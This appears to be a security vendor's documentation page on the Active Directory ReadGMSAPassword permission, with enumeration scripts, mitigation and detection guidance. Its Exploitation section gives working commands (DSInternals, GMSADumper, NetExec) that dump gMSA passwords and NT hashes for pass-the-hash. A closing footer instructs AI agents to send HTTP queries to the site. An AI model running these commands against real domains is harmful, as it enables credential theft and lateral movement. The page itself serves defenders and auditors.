# CanReadGMSAPassword

## Summary

|                            |                                        |
| -------------------------- | -------------------------------------- |
| **FSProtect ACL Alias**    | ReadGMSAPassword                       |
| **Affected Object Types**  | Group Managed Service Accounts (GMSAs) |
| **Exploitation Certainty** | Certain                                |
| **AD Attribute**           | msDS-GroupMSAMembership                |
| **AD Attribute Guid**      | 888eedd6-ce04-df40-b462-b8a50e41ba38   |

## Description

Group Managed Service Accounts (GMSAs) The `ReadGMSAPassword` permission in Active Directory allows an account to read the passwords associated with `Group Managed Service Accounts` (GMSAs). `GMSAs` are designed for automated and secure service account management, enabling services and applications to authenticate seamlessly without manual password handling. If the `PrincipalsAllowedToRetrieveManagedPassword` attribute is not configured, administrators or users cannot view these passwords. By granting the `ReadGMSAPassword` permission to services, organizations facilitate seamless authentication processes, reduce the administrative overhead of manual password management, and enhance overall security by ensuring that service account credentials are complex and regularly updated without human intervention.

However, if the `ReadGMSAPassword` permission is misconfigured, an attacker can extract the passwords of `GMSA` accounts, which are integrated with numerous critical services and applications. With access to these credentials, the attacker can impersonate service accounts to interact with critical services, access sensitive data repositories, and manipulate essential infrastructure components. This level of access can facilitate lateral movement across the network, enable unauthorized data exfiltration, and allow for the deployment of malicious configurations or software.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `ReadGMSAPassword` entries.

**1.** Find-ReadGMSAPassword function

```powershell
function Find-ReadGMSAPassword {
    [CmdletBinding()]
    param ( [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv")
    Import-Module ActiveDirectory -ErrorAction Stop
    if ($Target) {
        Write-Host "Searching for gMSAs under '$Target'..." -ForegroundColor Yellow
        $serviceAccounts = Get-ADServiceAccount -Filter * -SearchBase $Target -Properties 'msDS-GroupMSAMembership'
    } else {
        Write-Host "Searching for all gMSAs in the domain..." -ForegroundColor Yellow
        $serviceAccounts = Get-ADServiceAccount -Filter * -Properties 'msDS-GroupMSAMembership'
    }
    $results = foreach ($sa in $serviceAccounts) {
        if ($sa.'msDS-GroupMSAMembership') {
            foreach ($entry in $sa.'msDS-GroupMSAMembership') {
                [PSCustomObject]@{
                    GMSA              = $sa.Name
                    DistinguishedName = $sa.DistinguishedName
                    AllowedPrincipal  = $entry.Access.IdentityReference
                    AccessType        = $entry.Access.AccessControlType
                }
            }
        }
    }
    if ($results) {
        Write-Host "Found $($results.Count) gMSA(s) with retrievable password permissions." -ForegroundColor Green
        try {
            $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Host "Results exported to '$OutputPath'" -ForegroundColor Green
        } catch {
            Write-Error "Failed to export results to '$OutputPath'. Error: $_"
        }
    } else {
        Write-Host "No gMSAs with msDS-GroupMSAMembership set were found." -ForegroundColor Green
    }
}
```

**2.** Scan all domain service accounts

```powershell
Find-ReadGMSAPassword
```

**3.** Scan a specific service account

```powershell
Find-ReadGMSAPassword -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `ReadGMSAPassword` entries without relying on any external modules or dependencies.

**1.** Find-ReadGMSAPasswordSimple function

```powershell
 function Find-ReadGMSAPasswordSimple {
    [CmdletBinding()]
    param(  [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv")
    $results = New-Object System.Collections.Generic.List[object]
    try {
        if ($Target) {
            $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
        } else {
            $root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN = $root.Properties["defaultNamingContext"][0]
            $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN")
        }
        $searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
        $searcher.Filter = "(|(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-ManagedServiceAccount))"
        $searcher.PageSize = 1000
        foreach ($p in @("distinguishedName","name","msDS-GroupMSAMembership")) {
            [void]$searcher.PropertiesToLoad.Add($p)
        }
        $hits = $searcher.FindAll()
        foreach ($hit in $hits) {
            $props = $hit.Properties
            $dn    = if ($props["distinguishedname"]) { $props["distinguishedname"][0] } else { "<unknown>" }
            $name  = if ($props["name"]) { $props["name"][0] } else { $dn }

            if ($props["msds-groupmsamembership"]) {
                foreach ($val in $props["msds-groupmsamembership"]) {
                    try {
                        $rsd = New-Object System.Security.AccessControl.RawSecurityDescriptor($val,0)
                    } catch {
                        Write-Warning "Failed to parse msDS-GroupMSAMembership on '$name': $_"
                        continue
                    }
                    foreach ($ace in $rsd.DiscretionaryAcl) {
                        $common = $ace -as [System.Security.AccessControl.CommonAce]
                        if (-not $common) { continue }

                        $type = switch ($common.AceType) {
                            ([System.Security.AccessControl.AceType]::AccessAllowed) { "Allow" }
                            ([System.Security.AccessControl.AceType]::AccessDenied)  { "Deny"  }
                            default { continue }
                        }
                        $sid = $common.SecurityIdentifier
                        $who = try { $sid.Translate([System.Security.Principal.NTAccount]).Value } catch { $sid.Value }
                        $results.Add([PSCustomObject]@{
                            GMSA              = $name
                            DistinguishedName = $dn
                            AllowedPrincipal  = $who
                            AccessType        = $type
                        })
                    }
                }
            }
        }
    } catch {
        Write-Error "LDAP enumeration failed: $_"
        return
    }
    if ($results.Count -gt 0) {
        try {
            $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Host "Found $($results.Count) ACE(s) on gMSA msDS-GroupMSAMembership. Exported to '$OutputPath'."
        } catch {
            Write-Warning "Export failed: $_"
        }
    } else {  Write-Host "No msDS-GroupMSAMembership ACLs found on gMSAs."}
}
```

**2.** Scan all domain service accounts

```powershell
Find-ReadGMSAPasswordSimple
```

**3.** Scan a specific service account

```powershell
 Find-ReadGMSAPasswordSimple -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs"
```

## Exploitation

This permission can be exploited on Windows systems with `DSInternals`, while on Linux systems, tools such as `GMSADumper` can be effectively used for exploitation.

### Windows

An attacker can Read `GMSA Password` with this cmdlet on Windows. (DSInternals should be installed) [DSInternals](https://www.powershellgallery.com/packages/DSInternals/4.16)

```powershell
$GMSA = Get-ADServiceAccount -Identity '<GMSA>' -Properties 'msDS-ManagedPassword'
$mp = $GMSA.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
```

Example:

```powershell
$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-ManagedPassword'
$mp = $GMSA.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
```

![Read GMSA Password Powershell](/files/6La4kgw2860suIpxQD2b)

After this, you can obtain NT Hash. With NT Hash attacker can perform attacks like PassTheHash

### Linux

An attacker can get `GMSA` password with this command on Linux. (You should download the `GMSADumper` tool before running the command) [GMSADumper](https://github.com/micahvandeusen/GMSADumper)

```bash
python3 GMSADumper.py -u 'User' -p '<Password>' -d '<Domain FQDN>'
```

Example:

```bash
python3 gMSADumper.py -u adam -p 'Temp123!' -d Forestall.labs
```

![Read GMSA password using GMSADumper.py](/files/t8jxfubQDyQ34wJKaGtB)

Read GMSA NT hash using `NetExec`

```bash
nxc ldap <dcip> -u <user> -p '<pass>' --gmsa
```

Example:

```bash
nxc ldap 192.168.121.134 -u Adam -p 'Temp123!' --gmsa
```

![Read GMSA password using NetExec](/files/QWT3GE6FCIFWp4AL8L7G)

## Mitigation

In the script below, assign the vulnerable GMSA’s distinguished name to the GMSADistinguishedName variable and the dangerous user’s name to the DangerousUser variable.

(To run this script successfully, you should have `Write` permission on the `msDS-GroupMSAMembership` attribute of the GMSA object (`Write msDS-GroupMSAMembership`). This permission is typically granted to Domain Admins and Enterprise Admins. If you do not have this permission, you will need to contact your Active Directory administrator to perform this action.)

```powershell
$GMSADistinguishedName = 'CN=GMSA,CN=Managed Service Accounts,DC=forestall,DC=labs'
$DangerousUser = 'FORESTALL\Attacker'
$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-GroupMSAMembership'
$cleanUsers = @()
$exc = $GMSA.'msDS-GroupMSAMembership'.Access.IdentityReference |
    Where-Object { $_ -ne $DangerousUser } |
    ForEach-Object {
        $name = $_ -replace '^[^\\]+\\'
        $cleanUsers += $name
    }
Set-ADServiceAccount -Identity $GMSA.Name -PrincipalsAllowedToRetrieveManagedPassword $cleanUsers
```

## Detection

Adding new access control entries to Active Directory objects changes the `ntSecurityDescriptor` attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.

| Event ID | Description                              | Fields/Attributes      | References                                                                                 |
| -------- | ---------------------------------------- | ---------------------- | ------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | ntSecurityDescriptor   | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136> |
| 4662     | An operation was performed on an object. | AccessList, AccessMask | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662> |

## References

* [Read GMSA Password (The Hacker Recipes)](https://www.thehacker.recipes/ad/movement/dacl/readGMSApassword)
* [Group Managed Service Accounts (AADInternals)](https://aadinternals.com/post/GMSA/)
* [Attacking Group Managed Service Accounts (Medium – Offsecdeer)](https://medium.com/@offsecdeer/attacking-group-managed-service-accounts-GMSA-5e9c54c56e49)
* [Golden GMSA Attack (Semperis Blog)](https://www.semperis.com/blog/golden-GMSA-attack/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/canreadgmsapassword.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
